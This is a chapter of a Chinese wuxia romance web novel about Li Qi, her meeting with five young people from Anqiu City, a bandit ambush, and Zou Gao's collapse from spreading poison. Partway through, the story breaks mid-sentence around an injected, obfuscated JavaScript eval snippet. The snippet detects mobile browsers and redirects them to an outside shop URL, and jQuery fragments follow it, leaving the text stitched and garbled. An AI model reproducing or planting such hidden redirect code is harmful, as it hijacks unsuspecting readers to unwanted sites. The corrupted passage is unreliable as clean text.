2
每一张脸都很好看,且没有散发出任何恶意或杀意,李棋完全没法拒绝。
她就这么站在原地,等着众人上来。
但是不等四人靠近,邹杲如猎鹰一般朝她飞来,他一掌击飞那个柔弱的男子,转身宽袖一挥,右边的女子也后退了好几步。
落到李棋身后,他一拉一扔,李棋怀中的妹妹被丢了出去。
他一手揽住李棋的腰,临走前,还各给了剩余两人一掌。
“你干什么……”李棋话音未落,已经被邹杲带着落到了马车顶上。
邹杲一手紧紧圈着李棋的要,一手负在身后,他冷脸睥睨着下方想要冲上来的五人,“不管你们是谁,本王的人,不是你们能碰的。本王只宽恕你们这一次,有多远立刻滚多远。”
五人胆子倒是不小,他们朝路中间靠近,并肩站立挡住了去路。
另一名女子冷笑道:“什么你的人,脸真大。只要小棋妹妹没拒绝,我们就都有机会。”
她又笑着对李棋说:“小棋妹妹,我是雨中花的义女,我叫阎绯,今年二十一岁,你可以叫我一声绯姐姐哦。”
她说着拿出一个古铜色的圆牌,上面的花纹很神秘,是独属于暗秋城的信物,李棋也在雨中花腰间看到过类似的。
见状,另外四人也反应过来,争先恐后掏出自己的身份铜牌,七嘴八舌自我介绍着。
另一名女子叫鸾絮,十七岁;第一个白皙柔美的男子叫水卉,二十五岁,是五人中最年长的。
完全看不出来的是,黑皮坚毅的男子也才十七岁,名叫丘炎;剩下的一个面无表情的男人名叫沂源,二十三岁。
李棋受宠若惊,才礼尚往来说了自己的名字,千赤再一次窜了出去。
这次五人没有作罢,而是施展轻功追了上来。
他们一边追,一边掏出怀中的东西丢给李棋。
水卉丢给她一个皮酒袋,“小棋妹妹,这是我们暗秋城的甜果酒,你尝尝。”
鸾絮撞开水卉,丢给李棋一只玉簪,“姐姐,这是人家亲手给你雕刻的。”
话音未落,阎绯挤上来,“小棋妹妹,听说你喜欢天下第一阁的醉红尘,我给你找来了。”
丘炎和沂源也挤了上来,两人一边拉扯,一边将准备的东西丢给她,只可惜没来得及说话,就被另外三人拉了下去。
李棋手忙脚乱接住五人扔过来的见面礼紧紧抱住,见五人一边追赶马车,一边打架拉扯,一时有些担心。
确定了五人没有恶意,再加上他们个个容貌出众,李棋也不介意多几个朋友。
她当即想挣脱邹杲的束缚,停下来和五人交谈一番,邹杲的手却像为她量身定制的铁爪,将她牢牢固定住。
发现挣不脱邹杲的桎梏,再一想到邹杲过往那不明不白的态度,李棋冷下脸,道:“让千赤停下来,我不想和你动手。”
这是李棋第一次用这种语气神态和他说话,还是为了几个只见过一面的人。
邹杲只觉天崩地裂,片刻的愣怔后,他什么也没说,松开李棋跳到了千赤背上,抓住缰绳让千赤停了下来。
见千赤停下来后,邹杲解开马车,拉着千赤和玄翼进入了旁边的森林,那孤寂的背影,李棋心中着实不好受,想要追上去,五人又赶了上来。
她叹了口气,转身朝五人而去。
五人又是一番争先恐后的介绍、推荐,恨不得李棋立刻把他们送的见面礼用上。
李棋第一次被这么多同龄人喜欢,虽然很有可能只是表象,但她的心中还是暖暖的,鼻子也酸酸的,竟然有些想哭。
在她眼泪掉下来的前一刻,鸾絮上前一把抱住她,将她的脑袋按在肩膀处。
又有一个人抱了上来,是阎绯,阎绯一下一下轻抚着她的背脊。
李棋更加忍不住,好一会儿才缓过来。
从两人怀中退出来,她看向五人,由衷感激道:“谢谢你们。”
“你要是这么说的话,”水卉说,“我们还得谢谢你愿意接受我们呢。”
阎绯附和道:“就是。”
丘炎说:“小棋姐姐,虽然我不知道你为什么要感谢我,但我可以把感谢转化为陪练次数吗?”
冷脸抱臂站在外面的沂源也面无表情说:“我也要小棋妹妹陪我。”
“嗯?”李棋没反应过来。
鸾絮解释道:“义父说你特别厉害,再有个十来年,一定能把他们那些老家伙踩在脚下,成为天下第一!”
这话太夸张了,李棋不由汗颜,“雨中花前辈太夸张了,人外有人,我成长的同时别人也在成长,再说了,我哪有那么厉害啊。”
几人都让她不要谦虚,李棋更觉脸红,弄清五人的来意,她还有些愧疚。
她道:“我暂时没法陪你们切磋,邹杲、常胜王他……”
阎绯打断她,“想见识义父口中的天之骄子是我们的主要目的不错,但和你结识了,以后跟你讨教的机会还少吗,来日方长嘛,我们不急的。”
鸾絮问:“饿不饿?前方五六里有个村落,我们去村里找个地方坐着边吃边熟悉吧。”
想到邹杲,李棋还在犹豫,突然,一只乌鸦朝几人飞来,盘旋在上空啼叫。
见五人同时变了脸色,李棋当即道:“你们先去吧,等我闲下来了,我会来暗秋城找你们玩的。”
鸾絮道:“好,那我们先走了。”
“等我们忙完我们再来找你玩啊。”水卉笑着说。
李棋笑着说好,目送五人的身影消失在丛林中。
他们来得莫名其妙,走得更是匆忙,几人已经远去,李棋都还有些恍惚,要不是怀中他们带来的东西还在,她都没法相信刚刚发生的一系列事情的真实性。
“这么舍不得,你干脆跟他们走好了。”邹杲幽怨的声音在李棋身后响起。
李棋本来就还处于才见面又要分别的伤感之中,就听邹杲这声音,不由吓了她一跳。
李棋转身后退了好几步,没好气道:“我倒是想,这不是被你拖住了腿脚吗。”
邹杲一听这话脸色又阴沉了,他一言不发,转身朝车马走去、径直进了车厢。
李棋意识到这次的话说得太重了,但她一时半会又拉不下脸,原地愣怔了好一会儿,才朝马车走去,和王安坐在了外面驾马。
王安大惊,小声劝道:“姑娘,这里有我就够了,你还是去里面吧。”
李棋没说话,起身一跃落到了千赤的马背上。
千赤这次倒是格外听她的话,她才轻轻拍了拍千赤的脖颈,千赤便动了起来。
*
晚上,三人宿在丛林中,李棋和邹杲一个在树杈上、一个在车厢里,谁也没和谁说话,甚至尽量在避免不待在一个空间里,小灵狐急得上蹿下跳也没能让两人和好。
这种状态一直持续了两天。
第三天的傍晚,车马再一次被逼停,来着不善,且前后都隐约听到激烈的打斗声。
李棋嗅了嗅鼻子,她在这群人中闻到了一股很重的香味,不难闻,但她从未闻过。
不等她细究,就听有人说:“公主,我等并无恶意,只是想问你借点钱花。”
“没恶意?呵。”李棋一肚子的闷气正愁没地方发泄,拔出鞭子就要去与来人交手。
邹杲适时出声拦住了她,“李棋,等会。”
说话间,邹杲从车厢中出来,落于玄翼背上后站定,他看向众人,“你们不知道本王的身份?”
一众草莽被问得一愣,片刻后才有人呆呆答道:“常胜王邹杲,江湖谁人不知。”
“既然知晓,你们要借钱不找本王,反而去找一个早就被灭国的公主,你们这是看不起本王。”
好莫名其妙的话语,一众草莽心道,这是傻子听不懂好赖话吗,怎么还上赶着被抢。
一部分人一喜,当即在心中暗自决定两个都不放过。
“既如此……”
话没说完,就见邹杲反手接过王安递上来的钱袋,他慢条斯理打开,将里面的黄金和少量五铢钱都倒在宽大的手心里,另一只手的食中二指在其中一番挑拣,才终于从一包黄金中捡出了十余枚五铢钱,然后转而看向他们,“这些够你们喝一壶的了,拿去吧,赏你们了。”
说着扔了出去,还真有人下意识接住了。
接住的人中还有一人呆愣愣问:“他是不是在拿我们当叫花子打发?”
旁边人咬牙切齿,“这还用问,这不明摆着的吗。”
“孤高自大、目中无人,上,一起干他!”
他们呼应着,提着手里的武器就要扑上来。
突然,邹杲眉心一皱,像是察觉到什么,但李棋忙于面对来势汹汹的这些人,并没有注意到。
李棋鞭子都抽出来了,却被邹杲拉住了手腕,邹杲轻笑抬起另一只手,“慢。”
众人定在原处看着他,只见邹杲勾唇一笑,手中大小不一的黄金被他用内力挥洒向众人,“嫌少,那就再赏你们一些。”
“呃!”
“啊!”
“哎呦!”
……
一时痛呼声四起。
“欺人太甚!”侥幸躲过的大多人都被惹怒了,再没有任何转圜的余地,嘶吼着杀了上来。
准备交手的李棋再一次被邹杲按住,她侧头冷眼看向邹杲,问他到底要干什么。
邹杲笑得高深莫测,李棋看得牙痒痒,差点破功吼他,一个不察,身下的千赤突然动了起来。
李棋不防,差点摔倒,幸好一只手被邹杲拉着,她才在千赤快速的行进中很快稳住身形。
李棋当即矮身骑上马背,抓住缰绳,“千赤,回去。”
千赤不听,依旧跑得飞快,李棋不得已扭头看向旁边悠然的邹杲,“快让千赤回去,我们跑了,王安怎么办?”
“你未免太小看王安了。”
闻声,李棋顺着邹杲的视线回头望去,只见王安手持一根马鞭跟那些人打得有来有回,他的身形太过灵活,速度快到残影,凡有想趁乱跑出来追他们的都被王安及时打了回去。
又听一阵剧烈的马蹄声和嘶吼声,十余个穿着普通百姓服饰的男人骑着骏马奔来。
在人群中看到两个熟悉的身影,李棋这才放下心来。
她收回视线,眼神复杂看向邹杲,几番欲言又止,但终究没问出口。
邹杲也看着她
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16762962|188740||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,脸上是一贯的坦然笑意。
然而,前方的打斗声也越来越明显,老远,就能依稀看到缠斗的人的身影。
几乎有人同时高呼:
“梁国公主在那儿,抢!”
“邹杲来了,杀!”
李棋扭头看向前方,一扬缰绳,挥鞭舞向围上来的几人。
这些人有点本事,尤其是穿着各异的那些江湖人士。
李棋一鞭只扫落了五人,其余人猴子一样,行踪诡谲,几个灵活躲闪,或从上方或从下方,很快就来到她身前。
一容貌丑陋、身材矮小的男子抱着千赤的前蹄探头对李棋笑,“幸会啊,公主殿下。”
这张脸很有冲击力,李棋被吓了一惊,在她后仰拉开与男子距离的同时,千赤也做出了同样的动作。
男子虽还紧紧扒在千赤的前蹄上,人却被带到空中,完全暴露出来。
“千赤!”李棋喊着,挥鞭擦着千赤的脑袋朝男子扇去。
这一击她用了不小的力气,若是被打中,肋骨断裂都算轻的。男子显然也意识到了。
“我们还会再见的,公主殿下。”男子用阴诡的语气说着,嘿嘿笑着跳到路边的大树上,堪堪躲过李棋这一击。
耳后又传来不小的动静,李棋来不及出手,只能用尽全是力气按着千赤俯身趴下。
她趴下的瞬间,只见邹杲朝她飞来。
邹杲一手按住她的肩背,双腿向后一扫,潜到后方偷袭她的两人飞出去,撞裂了两棵大树才堪堪停下。
邹杲顺势落在她身后,一只手无比坦然揽住她的腰,另一只手握住了她抓着缰绳的手。
见玄翼就在不远处尥蹶子撞人,李棋当即想撤身跃到玄翼背上。
却听邹杲在她耳边用可怜的声音说:“我怕,小棋儿,保护我。”
话音未落,邹杲抓着缰绳的手连续射出三小块碎黄金,那三块黄金被他弹射出去后竟然都裂成了数块,流星一般,前方拦路的人无一幸免。
至此,两人也来到了战场的边缘。
只听邹杲一声呼哨,千赤发出类似呼唤的嘶鸣,不远处还在撒欢的玄翼立刻回应,朝他们奔来。
两匹马先后扬长而去,只留下一片飞扬的尘土。
一口气跑出去好远,确定前方没有交斗声,李棋才拉动缰绳,让千赤慢下来。
邹杲依旧紧紧抱着她,一点自觉都没有。
李棋大力拍打了好几下,他都不放手。
无奈,李棋只得冷声开口,“放开我。”
邹杲直接耍起无赖,“不放。”他的声音懒洋洋的,还顺势将下巴枕在了李棋的左肩膀上。
“你……”李棋恼怒不已,刚要大力甩开他,却感觉到邹杲明显缓慢的
心跳和冰寒的体温。
她一惊,当即抓起邹杲的手摸他的脉。
邹杲也没躲,或许是没力气躲了。
这一摸,李棋的心也差点跟着停下,“灵狐泪毒蔓延到心脏了?!”
李棋回头,想骂他,但看到他明显虚弱的脸色,语气还是缓和了许多,也瞬间反应过来,“那香有问题!……催发了灵狐泪的扩散。”
她越发肯定,语气不由又怪起邹杲,“你闻到那股香的时候没感觉到难受吗,为什么不早点和我说?”
死到临头了,邹杲倒是还笑得出来,还倒打一耙,“不是李大侠你先不跟我说话的吗。”
李棋瞪他,却听他无辜又说:“我早就闻不到味道了,小棋儿你不是知道的吗。你不说,我都不知道那些人身上有什么味道。而且,在察觉身体明显有异样的第一时间,我不是就先远离了他们吗。”
李棋一怔,转身就要往他的胸膛处传送内力,还没开始,邹杲就握住了她的手。
“别。”邹杲摇头,玩笑说,“你要是有闪失,我也不能活。”
他的声音明显的有气无力,“我好冷好累啊,小棋儿。”他将李棋抱得更紧。
李棋一时万分懊恼内疚,心中难受,没推开他。
她拿起手中还沾着鲜血的鞭子,将邹杲和自己绑在一起,然后猛地一扬缰绳,让千赤加快了速度。
“小棋儿,”邹杲在她耳边絮絮叨叨又说,“我知道当下的境况是我自作自受,但我还是难受,你能不能看在我快要死了的份上,再宽容我一些。之前欠你那些账,留到我痊愈后再一一清算,好不好?”
李棋感觉自己好像和邹杲通感了,不然她怎么也那么难受。
“有我在,你不会死。”她坚定道。
“嗯,我相信小棋儿。”邹杲冰冷的脸在她脖颈间蹭了蹭。
李棋牵动缰绳,另一只手摸向千赤的脑袋,几乎哀求道,“驾!千赤再快些——”
千赤似乎早就感应到主人的虚弱,它已经拿出了最快的速度,驮着他们两人依旧和没有任何负重的玄翼拉开了不短的距离。
“小棋儿……”邹杲又喊,李棋竖起耳朵等候着下文。
许久,没等来后文,却等来了邹杲的晕厥。
现在只有不死草能救邹杲,李棋不敢停下来,她反手扶了扶邹杲耷拉下去的脑袋,让他稳稳枕在自己的肩膀上。
“驾——”